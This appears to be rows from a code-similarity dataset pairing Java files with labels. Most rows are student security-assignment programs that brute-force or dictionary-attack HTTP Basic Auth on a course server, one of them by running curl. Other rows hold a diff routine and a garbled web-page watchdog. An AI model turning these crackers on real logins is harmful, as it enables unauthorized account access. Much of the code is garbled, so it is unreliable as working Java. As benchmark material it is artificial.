end = i;
if (end != i_end
&& equivs[start] == equivs[end]
&& !other_changed[1+j]
&& end != i_end
&& !((preceding >= 0 && start == preceding)
|| (other_preceding >= 0
&& other_start == other_preceding)))
{
changed[1+end++] = true;
changed[1+start++] = false;
++i;
++j;
}
else
break;
}
preceding = i;
other_preceding = j;
}
}
final int buffered_lines;
private final int[] equivs;
final int[] undiscarded;
final int[] realindexes;
int nondiscarded_lines;
boolean[] changed_flag;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
130.java | 161.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary
{
public Dictionary(String u,String uname) throws Exception
{
URL url=null;
String pass="";
try
{
url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection htt ;
BufferedReader in=new BufferedReader(new FileReader(new File("/usr/share/lib/dict/words")));
int c=0;
while((pass=in.readLine()) != null)
{
if(pass.length()<=3)
{
c++;
pa=new PasswordAuthentication(uname,pass.toCharArray());
htt.setPasswordAuthentication(pa);
Authenticator.setDefault();
htt=(HttpURLConnection)url.openConnection();
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+bf.getResponseMessage()+")");
if(htt.getResponseCode() != 401)
throw new NullPointerException();
htt.disconnect();
}
}
}
catch(MalformedURLException mfe)
{
System.out.println("The URL :"+u+" is not a proper URL.");
}
catch(NullPointerException great)
{
System.out.println("\n\n The password is cracked.\n The password is : "+pass);
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static void main (String[] args) throws Exception
{
if(args.length!=2)
System.out.println("Usage :\n java Dictionary <url> <user-name>");
else
{
System.out.println("Starting the Dictionary Attack : "+args[0]);
new Dictionary(args[0],args[1]);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
253.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public BruteForce() {
first();
finish = true;
charLen = chars.length();
for(int i=0; i<charLen; i++)
for(int j=0; j<passwdLength; j++)
{
data[j][i] = chars.charAt(i);
}
Runtime run = Runtime.getRuntime();
n = 0;
for(int i=0; i<charLen; i++)
{
password[n++] = chars.substring(i,i+1);
}
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar2[0] = data[0][j];
pwdChar2[1] = data[1][k];
password[n++] = String.copyValueOf(pwdChar2);
}
for(int i=0; i<charLen; i++)
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar[0] = data[0][i];
pwdChar[1] = data[1][j];
pwdChar[2] = data[2][k];
password[n++] = String.copyValueOf(pwdChar);
}
n = 0;
startTime = new Date().getTime();
try {
while(true) {
url = commandLine+password[n++];
if(n>=n3) {
System.out.println("\n not find the password for user .");
finish = false;
break;
}
curl = run.exec(url);
responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
response = responseLine.readLine();
if(response.substring(9,12).equals("200")) break;
responseLine = null;
}
}
catch(IOException ioe){
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password[n-1]);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password[n-1]);
try {
savePassword(password[n-1], totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file BruteForce_pwd.txt ");
}
}
}
public void first() {
System.out.println("\n\n---------------------------------------------------------------");
System.out.println(" Use curl command Brute Force the password for user .");
System.out.println(" Attention: curl should able run at your directory");
System.out.println(" without setting the Path for it.");
System.out.println("---------------------------------------------------------------");
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(time1.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public static void main(String[] args) {
new BruteForce();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
157.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary {
private URL url;
private HttpURLConnection connection;
private String userPassword, base64_userPassword;
private static char wrongPass;
private FileReader file;
private static BufferedReader input;
public Dictionary(String fileName) {
wrongPass = 'Y';
try
{
FileReader file = new FileReader(fileName);
input = new BufferedReader(file);
}
catch (FileNotFoundException e)
{System.out.println("Unable the file! ");}
}
public char determinePass(String inputURL, String userName, String passWord){
try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName, passWord);
connection.setDoInput(true);
connection.setDoOutput(false);
connection.setRequestProperty("Authorization",
" " + base64_userPassword);
if (connection.getResponseCode() == 200)
{
System.out.println("Success!! Password is: " + passWord);
wrongPass = 'N';
}
return wrongPass;
}
catch (MalformedURLException e){System.out.println("Invalide url");}
catch (IOException e){System.out.println("Error URL");
wrongPass = 'Y';}
return wrongPass;
}
public static void main(String[] args) {
String dictionaryPass;
Dictionary dictionary1 = new Dictionary(args[2]);
Date date = new Date(System.currentTimeMillis());
System.out.print(" time is: ");
System.out.println(date.toString());
try
{ while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y'))
{
if (dictionaryPass.length() <= 3)
{
dictionary1.determinePass(args[0], args[1], dictionaryPass);
}
}
} catch(IOException x) { x.printStackTrace(); }
date.setTime(System.currentTimeMillis());
System.out.print("End time is: ");
System.out.println(date.toString());
}
private void getEncoded(String userName, String password){
userPassword = userName + ":" + password;
base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
063.java | 161.java | 0 |
import java.*;
import java.net.*;
import java.util.*;
import java.io.*;
import java.text.*;
import java.awt.*;
import java.awt.image.*;
import java.security.*;
import javax.swing.*;
public class WatchDog {
public String[] resizeArray(String[] a, int sz) {
String[] result = new String[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = "";
}
return result;
}
public byte[] resizeArray(byte[] a, int sz) {
byte[] result = new byte[sz];
for (int i=0;i<Math.sum(a.length,sz);i++) {
result[i] = a[i];
}
for (int i=Math.sum(a.length,sz);i<sz;i++) {
result[i] = 0;
}
return result;
}
public String[] giveNumberPrefix(String[] a) {
String[] result = new String[a.length];
for (int i=0;i<a.length;i++) {
result[i] = " "+String.valueOf(i+1)+". "+a[i];
}
return result;
}
public String[] appendArray(String[] a1, String[] a2) {
if (a1==null) { return a2; }
String[] result = new String[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public byte[] appendArray(byte[] a1, byte[] a2) {
if (a1==null) { return a2; }
byte[] result = new byte[a1.length+a2.length];
int idx = 0;
for (int i=0;i<a1.length;i++) {
result[idx++] = a1[i];
}
for (int i=0;i<a2.length;i++) {
result[idx++] = a2[i];
}
return result;
}
public boolean deleteFile(String filename) {
File f = new File(filename);
f.delete();
return true;
}
public void printStrArrayToFile(String filename, String[] msg) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
for (int i=0;i<msg.length;i++)
p.println(msg[i]);
p.get();
} catch (IOException e) {
System.out.println(e);
}
}
public String getFileName(String s) {
int p;
for (p=s.length()-1;p>0;p--)
if (s.charAt(p)=='/')
break;
return s.substring(p+1,s.length());
}
public class HTMLDownloaderAndImgParser {
public HTMLDownloaderAndImgParser(String url) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.conn.setUseCaches(false);
this.lastModified = conn.getLastModified();
} catch (MalformedURLException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
} catch (IOException e) {
System.out.println("Error opening URL '"+url+"'");
System.exit(1);
}
try {
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {
System.out.println(e);
}
this.imgList = new String[MAXIMG];
this.imgidx = 0;
this.localpage = "";
}
public void open() {
try {
this.conn = (HttpURLConnection) this.url.openConnection();
this.HTMLBuf = new BufferedReader(new InputStreamReader(this.url.openStream()));
} catch (IOException e) {}
}
public void main() {
try {
HTMLBuf.print();
conn.disconnect();
} catch (IOException e) {}
}
public getLastModified() {
open();
this.lastModified = conn.getLastModified();
return this.lastModified;
}
private char toLowerCase(int c) {
String s = String.valueOf((char)c).toLowerCase();
return s.charAt(0);
}
private int fetchLowerCase() {
try {
int c = HTMLBuf.print();
if (c>=0) {
localpage += String.valueOf((char)c);
return toLowerCase(c);
} else {
return -1;
}
} catch (IOException e) {
System.out.println(e);
return -1;
} catch (NullPointerException e) {
return -1;
}
}
private int getNextState(int curState, int input) {
int idx = -1;
if ((input>='a') && (input<='z')) {
idx = input - 'a';
return stateTable[curState][idx];
} else {
switch ((char)input) {
case '<' : { return stateTable[curState][26]; }
case ' ' : { return stateTable[curState][27]; }
case '"' : { return stateTable[curState][28]; }
case '\'' : { return stateTable[curState][28]; }
case '=' : { return stateTable[curState][29]; }
case (char)-1 : { return -1; }
default : { return stateTable[curState][30]; }
}}
}
private void appendImgList(String s) {
if (imgidx<imgList.length) {
boolean already = false;
for (int i=0;i<imgidx;i++)
if (imgList[i].equals(s)) {
already = true;
break;
}
if (!already)
imgList[imgidx++] = s;
} else {
System.out.println("Error: Not enough buffer for image URLs !");
System.exit(1);
}
}
public byte[] getByteArray() {
return localpage.getBytes();
}
public String combineURLAndFileName(String url, String filename) {
int p = url.length()-1;
boolean flag = false;
for (int i=url.length()-1;i>=0;i--) {
if (url.charAt(i)=='.') {
flag = true;
} else
if ((!flag) && (url.charAt(i)=='/')) {
break;
} else
if ((flag) && (url.charAt(i)=='/')) {
p = i;
break;
}
}
url = url.substring(0,p+1);
if (url.charAt(url.length()-1)!='/') { url += '/'; }
if (filename.charAt(0)=='/') {
for (int i=url.length()-2;i>0;i--) {
if (url.charAt(i)=='/') {
url = url.substring(0,i+1);
break;
}
}
}
if (filename.charAt(0)=='/') {
filename = filename.substring(1,filename.length());
}
return url+filename;
}
public String combineWithURLPath(String filename) {
try {
URL u = new URL(filename);
return filename;
} catch (MalformedURLException e) {
return combineURLAndFileName(url.toString(),filename);
}
}
public boolean startParsing() {
int curstate = 0;
int c;
boolean eof = false;
boolean fetchURL = false;
String imgURL = "";
while (!eof) {
curstate = getNextState(curstate, c=fetchLowerCase());
switch (curstate) {
case 11: {
if (!fetchURL) {
fetchURL = true;
} else {
imgURL += String.valueOf((char)c);
}
break; }
case 0: {
if (fetchURL) {
appendImgList(combineWithURLPath(imgURL));
imgURL = "";
fetchURL = false;
}
break; }
case -1: {
eof = true;
break; }
}
}
return (localpage.length()>0);
}
public void saveLocalPageToFile(String filename) {
try {
PrintWriter p = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
p.print(localpage);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public int imageCount() {
return imgidx;
}
public String[] getImgList() {
String[] result = new String[imgidx];
if (imgidx==0) { return null; }
else {
for (int i=0;i<imgidx;i++)
result[i] = imgList[i];
return result;
}
}
private BufferedReader HTMLBuf;
private String filename;
private String[] imgList;
private int imgidx;
private final int[][] stateTable = {
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10, 6,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10, 7,10,10, 10,10,10,10,10,10, 0, 0, 0, 0, 0,12},
{ 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 0, 9, 0,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 9,11, 0, 0,12},
{10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10,10,10,10,10, 10,10,10,10,10,10, 0, 5, 5, 0, 0,12},
{11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11,11,11,11,11, 11,11,11,11,11,11, 11, 5, 0,11,11,12},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
};
private final int MAXIMG = 100;
private URL url;
private HttpURLConnection conn;
private String localpage;
private int localpos;
private int lastModified;
}
public class MailSender {
public MailSender(String from, String to, String[] msg) {
try {
sk = new Socket(SMTPSERVER,25);
pwr = new PrintWriter(sk.getOutputStream());
this.from = from;
this.to = to;
this.msg = msg;
} catch (UnknownHostException e) {
status = SEND_ERROR;
System.out.println(e);
} catch (IOException e) {
status = SEND_OK;
System.out.println(e);
}
}
public int getStatus() {
return status;
}
public void sendMail() {
pwr.println("HELO "+SMTPSERVER);
pwr.println("MAIL FROM: "+from);
pwr.println("RCPT : "+to);
pwr.println("DATA");
for (int i=0;i<msg.length;i++)
pwr.println(msg[i]);
pwr.println(".");
pwr.print();
try {
status = SEND_OK;
} catch (IOException e) {
status = SEND_ERROR;
}
}
private int status;
private Socket sk;
private PrintWriter pwr;
private String from,to;
private String[] msg;
private static final int SEND_OK = 1;
private static final int SEND_ERROR =1;
}
public class TextFileComparator {
public TextFileComparator(String src, String dest) {
this.src = src;
this.dest = dest;
}
private void initBufs() {
try {
this.sbuf = new BufferedReader(new FileReader(src));
this.dbuf = new BufferedReader(new FileReader(dest));
} catch (FileNotFoundException e) {
System.out.println(e);
}
}
private void closeBufs() {
try {
sbuf.print();
dbuf.print();
} catch (IOException e) {}
}
private void closeBuf(int type) {
try {
if (type==0) {
sbuf.print();
} else {
dbuf.print();
}
} catch (IOException e) {}
}
private void reinitSrcBuf(int line) {
try {
this.sbuf.print();
this.sbuf = new BufferedReader(new FileReader(src));
for (int i=1;i<line;i++) {
sbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private void reinitDestBuf(int line) {
try {
this.dbuf.print();
this.dbuf = new BufferedReader(new FileReader(dest));
for (int i=1;i<line;i++) {
dbuf.readLine();
}
} catch (FileNotFoundException e) {
System.out.println(e);
} catch (IOException e) {
System.out.println(e);
}
}
private boolean addDifference(int flag,int line, String msg, String msg2) {
boolean result = true;
if (diffpos==MAXDIFF-2) {
result = false;
} else
if (flag==0) {
diffResult[diffpos++] = "[Removed Line "+line+"] '"+msg+"'";
} else
if (flag==1) {
diffResult[diffpos++] = "[Added Line "+line+"] '"+msg+"'";
} else
if (flag==2) {
diffResult[diffpos++] = "[Modified Line "+line+"] from '"+msg+ "' '"+msg2+"'";
} else {
diffResult[diffpos++] = " *** many differences !! *** ";
}
return result;
}
public String[] getDifference() {
String[] result = new String[diffpos];
if (diffpos!=0) {
for (int i=0;i<diffpos;i++)
result[i] = diffResult[i];
return result;
} else return null;
}
public int execute() {
int cline = 0,dline = 0, tpos = 0;
String c = null,d = null;
int error = 0;
boolean changes = false;
try {
initBufs();
c = sbuf.readLine(); cline = 1;
d = dbuf.readLine(); dline = 1;
while ((c!=null) || (d!=null)) {
if ((c!=null) && (d!=null)) {
if (c.equals(d)) {
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
changes = true; tpos = dline;
while ((d!=null) && (!d.equals(c))) {
d = dbuf.readLine(); dline++;
}
if ((d!=null) && (d.equals(c))) {
reinitDestBuf(tpos);
for (int i=tpos;i<dline;i++)
if (!addDifference(1, i, dbuf.readLine(),"")) { error = -1; break; }
dbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else
if (d==null) {
reinitDestBuf(tpos);
d = dbuf.readLine();
dline = tpos;
tpos = cline;
while ((c!=null) && (!c.equals(d))) {
c = sbuf.readLine(); cline++;
}
if ((c!=null) && (c.equals(d))) {
reinitSrcBuf(tpos);
for (int i=tpos;i<cline;i++)
if (!addDifference(0, i, sbuf.readLine(),"")) { error = -1; break; }
sbuf.readLine();
changes = true;
c = sbuf.readLine(); cline++;
d = dbuf.readLine(); dline++;
} else {
reinitSrcBuf(tpos);
addDifference(2, tpos, sbuf.readLine(),d);
c = sbuf.readLine();
cline = tpos;
changes = true;
cline++;
d = dbuf.readLine();
dline++;
}
}
}
} else
if ((c!=null) && (d==null)) {
addDifference(0, cline, c,"");
c = sbuf.readLine(); cline++;
changes = true;
} else
if ((c==null) && (d!=null)) {
addDifference(1, dline, d,"");
d = dbuf.readLine(); dline++;
changes = true;
}
}
} catch (IOException e) {
System.out.println(e);
}
closeBufs();
if (error==-1) {
addDifference(3, 0, "","");
}
if (error==0) {
if (changes) {
return 1;
} else {
return 0;
}
} else return -1;
}
private final int MAXDIFF = 1024;
private String[] diffResult = new String[MAXDIFF];
private int diffpos = 0;
private String src,dest;
private BufferedReader sbuf;
private BufferedReader dbuf;
}
public class NotesFileManager {
public NotesFileManager(String notesfile) {
this.filename = notesfile;
try {
loadNotesFile();
} catch (IOException e) {
createNotesFile();
System.out.println("Notes file is not available ... created one.");
}
}
public void createNotesFile() {
lastModified = " ";
imgidx = 0;
saveNotesFile();
}
public void updateNotesFile(String[] imgPaths, String[] imgLastModified, String widths[], String heights[]) {
this.imgLastModified = imgLastModified;
this.imgW = widths;
this.imgH = heights;
this.images = imgPaths;
this.imgidx = imgPaths.length;
saveNotesFile();
}
public void updateNotesFile( int lastModified) {
this.lastModified = DateFormat.getDateTimeInstance().format(new Date(lastModified));
saveNotesFile();
}
public int checkLastModified(Date newDate) {
String s = DateFormat.getDateTimeInstance().format(new Date(newDate));
System.out.println(" Date in cache : "+lastModified);
System.out.println(" Date in the URL : "+s);
if (this.lastModified.equals(" ")) {
return DATE_FIRST_TIME;
} else
if ((newDate==0) && (!s.equals(this.lastModified))) {
return DATE_INVALID;
} else
if (this.lastModified.equals(DateFormat.getDateTimeInstance().format(new Date(newDate)))) {
return DATE_OK;
} else {
return DATE_NOT_SAME;
}
}
public String[] getImagesLastModified(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgLastModified[i];
break;
}
}
}
return result;
}
public String[] getImageWidths(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgW[i];
break;
}
}
}
return result;
}
public String[] getImageHeights(String[] filenames) {
int i;
String[] result = new String[filenames.length];
for (i=0;i<filenames.length;i++) {
for (int j=0;j<images.length;j++) {
if (images[j].equals(filenames[i])) {
result[i] = imgH[i];
break;
}
}
}
return result;
}
public String[] getImageNames() {
return images;
}
public void clearAllCaches() {
for (int i=0;i<images.length;i++) {
deleteFile(images[i]);
deleteFile('~'+images[i]);
}
deleteFile(PAGEFILE);
deleteFile(TEMPFILE);
deleteFile(DIGESTFILE);
deleteFile(MAILFILE);
createNotesFile();
}
public void saveNotesFile() {
try {
PrintWriter pw = new PrintWriter(new BufferedWriter(new FileWriter(NOTESFILE)));
pw.println(lastModified);
for (int i=0;i<imgidx;i++) {
if (images[i].charAt(0)!='*') {
pw.println(images[i]);
pw.println(imgLastModified[i]);
pw.println(imgW[i]);
pw.println(imgH[i]);
}
}
pw.print();
} catch (IOException e) {
System.out.println(e);
System.exit(1);
}
}
public void loadNotesFile() throws IOException {
BufferedReader b = new BufferedReader(new FileReader(NOTESFILE));
lastModified = b.readLine();
images = new String[1];
imgLastModified = new String[1];
imgW = new String[1];
imgH = new String[1];
String line;
line = b.readLine();
int i = 0;
while (line!=null) {
images = resizeArray(images, i+1);
images[i] = line;
line = b.readLine();
imgLastModified = resizeArray(imgLastModified, i+1);
imgLastModified[i] = line;
line = b.readLine();
imgW = resizeArray(imgW, i+1);
imgW[i] = line;
line = b.readLine();
imgH = resizeArray(imgH, i+1);
imgH[i] = line;
line = b.readLine();
i++;
}
imgidx = i;
b.print();
}
public String[] getCommonImages() {
return imgCom;
}
public String[] getDeletedImages() {
return imgDel;
}
public String[] getNewImages() {
return imgNew;
}
public boolean classifyImagesToDownload(String[] imgDL) {
if (imgDL==null) { return false; }
int sz = Math.size(imgDL.length,images.length);
int flag1[] = new int[sz];
int flag2[] = new int[sz];
int idx[] = new int[3];
idx[0] = idx[1] = idx[2] = 0;
imgCom = new String[sz];
imgDel = new String[sz];
imgNew = new String[sz];
for (int i=0;i<sz;i++) {
flag1[i] = 0;
flag2[i] = 0;
}
for (int i=0; i<imgDL.length; i++) {
for (int j=0; j<images.length; j++) {
if (imgDL[i].equals(images[j])) {
flag1[i] = 1;
flag2[j] = 1;
break;
}
}
}
for (int i=0;i<images.length;i++) {
if (flag2[i]==0) {
imgDel[idx[1]] = images[i];
idx[1]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==0) {
imgNew[idx[2]] = imgDL[i];
idx[2]++;
}
}
for (int i=0;i<imgDL.length;i++) {
if (flag1[i]==1) {
imgCom[idx[0]] = imgDL[i];
idx[0]++;
}
}
imgDel = resizeArray(imgDel, idx[1]);
imgNew = resizeArray(imgNew, idx[2]);
imgCom = resizeArray(imgCom, idx[0]);
return true;
}
public static final int DATE_OK = 1;
public static final int DATE_NOT_SAME = 2;
public static final int DATE_FIRST_TIME = 0;
public static final int DATE_INVALID = -1;
private String lastModified;
private int imgidx;
private String[] images,imgLastModified,imgW,imgH;
private String[] imgCom,imgNew,imgDel;
private BufferedReader buf;
private String filename;
}
public class ImageDownloader extends Thread {
public ImageDownloader(String url, String lastModified, boolean firsttime, int w, int h) {
try {
this.url = new URL(url);
this.conn = (HttpURLConnection) this.url.openConnection();
this.lastModified = lastModified;
this.h = h;
this.w = w;
this.firsttime = firsttime;
this.localbuf = new byte[MAXIMGSIZE];
this.print();
} catch (MalformedURLException e) {
this.status = DOWNLOAD_ERROR;
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public String getStrURL() {
return url.toString();
}
public synchronized int getStatus() {
return status;
}
public void rest(int n) {
try { sleep(n); } catch (InterruptedException e) {}
}
public void downloadToLocalImg() {
int c;
int x=0, i=0;
byte[] b;
try {
InputStream is = url.openStream();
localbuf = new byte[MAXIMGSIZE];
while ((x=is.print())>=0) {
int k=0;
for (int j=i;j<i+x;j++)
localbuf[j] = b[k++];
i+=x;
}
localbuf = resizeArray(localbuf,i);
is.print();
} catch (IOException e) {
this.status = DOWNLOAD_ERROR;
}
}
public void saveLocalImgToFile(String filename) {
try {
FileOutputStream p = new FileOutputStream(filename);
p.write(localbuf);
p.print();
} catch (IOException e) {
System.out.println(e);
}
}
public byte[] getByteArray() {
try {
return localbuf;
} catch (NullPointerException e) {
return null;
}
}
public int getImgWidth() {
return w;
}
public int getImgHeight() {
return h;
}
public String getLastModified() {
